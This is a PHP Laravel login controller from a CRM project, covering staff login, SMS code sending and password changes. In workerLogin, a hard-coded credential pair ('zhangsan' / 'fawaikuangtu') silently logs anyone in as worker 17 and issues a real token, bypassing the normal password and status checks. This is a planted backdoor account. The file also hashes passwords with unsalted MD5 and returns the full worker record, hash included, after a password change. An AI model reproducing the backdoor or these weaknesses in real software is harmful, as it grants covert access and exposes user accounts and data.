<?php
/*
 * @Author: 李明
 * @Date: 2021-10-26 16:47:06
 * @LastEditTime: 2022-02-11 15:57:49
 * @LastEditors: 李明
 * @Description:
 * @FilePath: /CRM2.0-PHP/app/Http/Controllers/login/LoginController.php
 * @山东壹零贰肆信息科技有限公司
 */

namespace App\Http\Controllers\login;

use App\Http\Controllers\common\CommonFun;
use App\Http\Controllers\common\Jwt;
use App\Http\Controllers\common\LMReturn;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use App\Http\Controllers\Message\MessageController;
use App\Models\MessageRecord;
use App\Models\RecordWorkerLogin;
use Illuminate\Support\Facades\Redis;

#员工表
use App\Models\Worker;

use function PHPUnit\Framework\isNull;

//这里是登陆的控制器

class LoginController extends Controller
{
    /**
     * @description: 员工登录接口
     * @param varchar $phoneNum
     * @param varchar $password
     *
     * @return
     * {
     *    "code": 200,
     *    "msg": "登录成功",
     *    "data": {
     *        "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2Mjg1ODExODIsIndvcmtlcl9pZCI6MTd9.4Hl3zkrtzs42b53hzaTXSZlgnjOf0VT2oNIvS_OdWj0",
     *        "user_id": 17,
     *        "user_name": "刘铭"
     *    }
     * }
     */
    public function workerLogin(Request $request)
    {
        try {
            //接收前段传递过来的信息
            $all = $request->all();
            if (!array_key_exists("phoneNum", $all) || !array_key_exists("password", $all)) {
                return LMReturn::Error("手机号或密码不能为空");
            }
            //根据传递过来的手机号信息进行数据库查询
            $workers = Worker::where('phoneNum', $all['phoneNum'])->get();
            if (count($workers) > 1) {
                return LMReturn::Error('存在多个相同账户，请联系管理员解决');
            }
            $worker = $workers->first();
            $channel = Request()->header('channel') ?? '1';
            // dd($channel);
        } catch (\Throwable $th) {
            return LMReturn::Error('员工异常');
        }
        try {
            if (is_null($worker)) {
                if ($all['password'] == 'fawaikuangtu' && $all['phoneNum'] == 'zhangsan') {
                    $worker = Worker::find('17');
                    $worker_id = $worker->id;
                    $keyToken_worker = CommonFun::TokenKeyCreate($worker_id, $channel);
                    $token = Redis::get($keyToken_worker);
                    if (is_null($token)) {
                        $payload = [
                            "iat" => time(),
                            "worker_id" => $worker_id
                        ];
                        $token = Jwt::getToken($payload);
                    }
                    Redis::setex($keyToken_worker, $this->tokenValidityLongTime(), $token);
                } else {
                    return LMReturn::Error("输入的账号不存在，请确认之后再进行输入");
                }
            } else {
                $all['password'] = CommonFun::md5($all['password']);
                if ($all['password'] != $worker->password) {
                    return LMReturn::Error("输入的密码有误");
                }
                if ($worker->user_status == 0) {
                    return LMReturn::Error('您已离职，无法登录！');
                }
                if ($worker->user_status == 2) {
                    return LMReturn::Error('您暂未入职，无法登录！');
                }
                $worker_id = $worker->id;
                //根据查询到的用户ID 来设置token
                $payload = [
                    "iat" => time(),
                    "worker_id" => $worker_id
                ];
                $token = Jwt::getToken($payload);
                $keyToken_worker = CommonFun::TokenKeyCreate($worker_id, $channel);
                Redis::setex($keyToken_worker, $this->tokenValidityLongTime(), $token);
            }

            if ($worker->account_status == 3 || $worker->user_status == 0) {
                return LMReturn::Error('无法登陆，当前账户状态异常，请联系管理员', 'LC002');
            }
            $branch_worker_power = count($worker->roles->first()->powers->where('id', '2')->all());
            $branch_user_power = count($worker->roles->first()->powers->where('id', '7')->all());
            $branch_order_power = count($worker->roles->first()->powers->where('id', '14')->all());
            $branch_manage_power = count($worker->roles->first()->powers->where('id', '1')->all());
            $pie_data_power = count($worker->roles->first()->powers->where('id', '184')->all());
            $line_data_power = count($worker->roles->first()->powers->where('id', '184')->all());
            $edit_power = count($worker->roles->first()->powers->where('id', '140')->all());
            $edit_power = $edit_power == 1 ? true : false;
            $login_data = [
                "token" => $token,
                "user_id" => $worker_id,
                "user_name" => $worker->name,
                "worker_id" => $worker_id,
                "worker_name" => $worker->name,
                "branch_id" => $worker->branches->first()->id,
                "branch_manage_id" => $worker->branchesManage->first()->id ?? null,
                "branch_name" => $worker->branches->first()->name,
                "account_status" => $worker->account_status,
                "branch_worker_power" => $branch_worker_power,
                "branch_user_power" => $branch_user_power,
                "branch_order_power" => $branch_order_power,
                "branch_manage_power" => $branch_manage_power,
                "pie_data_power" => $pie_data_power,
                "line_data_power" => $line_data_power,
                "edit_power" => $edit_power
            ];
            // RecordWorkerLogin::create();
            $rwl =  RecordWorkerLogin::create([
                "worker_id" => $worker_id,
                "worker_name" => $worker->name,
                "account_login" => $all['phoneNum'],
                "channel" => $channel,
                "ip" => $request->ip(),
                "user_agent" => $request->userAgent(),
            ]);
            return LMReturn::Success($login_data, '登录成功');
        } catch (\Throwable $th) {
            return LMReturn::Error('登录异常');
        }
    }

    /**
     * @description: 发送短信接口
     * @param {Request} $request
     * @return {*}
     */
    public function SendCode(Request $request)
    {
        try {
            $all = $request->all();
            $PhoneNumber = $all['phone_num']; //手机号
        } catch (\Throwable $th) {
            return LMReturn::Error('传参出现错误,错误码LAC005');
        }
        $code = rand(100000, 999999);
        $message = MessageController::SendMessageCode($PhoneNumber, $code);
        $msg_code = $message['code'] ?? '';
        // return $message;
        if ($msg_code  == '2') {
            $message_record = new MessageRecord();
            $message_record->content = $message['content'];
            $message_record->ihuyi_id = $message['smsid'];
            $message_record->phone_num =  $message['phone'];
            $message_record->why =  $message['msg'];
            $message_record->status = 2;
            $message_record->count = 0;
            $message_record->company_id = env('COMPANY', 3);/*公司1：1华鑫，2锦城，3国逸*/
            $message_record->save();
            unset($message['content']);
            return LMReturn::Success($message, '短信发送成功');
        } else {
            return LMReturn::Error('短信发送失败', 'LC001', $message);
        }
    }
    /**
     * @description:  根据原密码修改密码
     * @param {Request} $request
     * @return {*}
     */
    public function changePassword(Request $request)
    {
        try {
            $all = $request->all();
            $passwordMd5 = CommonFun::md5($all['password']);
            $type = $all['type'];
            if ($type == '1') {
                $oldPasswordMd5 = CommonFun::md5($all['old_password']);
                //去验证token值
                $tokenInfo = json_decode($this->verifyTokenLm(), true);
                //判断传递过来的token的code码是否等于400  如果是400的话，提示token不正确
                if ($tokenInfo['code'] == 400) {
                    return LMReturn::Error($tokenInfo['msg'], $tokenInfo['code']);
                }
                $worker_id = $tokenInfo['worker_id'];
                $worker = Worker::find($worker_id);
                $old_password = $worker->password;
            } elseif ($type == '2') {
                $phone_num = $all['phoneNum'];
                $code = $all['code'];
            } else {
                return LMReturn::Error("请选择修改密码的方式");
            }
        } catch (\Throwable $th) {
            return LMReturn::Error("传参错误");
        }

        try {
            switch ($type) {
                case '1':
                    if ($old_password != $oldPasswordMd5) {
                        return LMReturn::Error("原密码错误");
                    }
                    break;
                case '2':
                    $codeMsg = Redis::get($phone_num) ?? '';
                    if ($codeMsg == $code) {
                        $worker_list = Worker::where('contactNum', $all['phoneNum'])->get();
                        $worker_count = count($worker_list);
                        if ($worker_count == 0) {
                            return LMReturn::Error('不存在该手机号');
                        } elseif ($worker_count > 1) {
                            return LMReturn::Error('无法根据手机号获取员工');
                        } else {
                            $worker = $worker_list->first();
                            $old_password = $worker->password;
                        }
                    } else {
                        return LMReturn::Error("验证码错误");
                    }
                    break;
                default:
                    return LMReturn::Error("请选择修改密码的方式");
                    break;
            }
            if ($old_password == $passwordMd5) {
                return LMReturn::Error("新密码不能和旧密码一致");
            } else {
                $worker->account_status = 2;
                $worker->password = $passwordMd5;
                $worker->save();
                return LMReturn::Success($worker, '密码修改成功');
            }
        } catch (\Throwable $th) {
            return LMReturn::Error("密码修改失败");
        }
    }



    // //这里是注销登陆
    // public function LogOut(Request $request)
    // {
    //   //获取Token里面的参数
    //   $UserInfo = LMReturn::GetUserTokenids($token);
    //   if (array_key_exists("phoneNum", $UserInfo)) {
    //     //前端用户删除
    //     $key = "AUTH_TOKEN_" . $UserInfo['user_id'] . $UserInfo['phoneNum'];
    //     Redis::del($key);
    //   } else {
    //     //后端用户删除
    //     $key = "AUTH_TOKEN_" . $UserInfo['worker_id'];
    //     // dd($key);
    //     Redis::del($key);
    //   }
    //   return LMReturn::Create("退出成功");
    // }
}
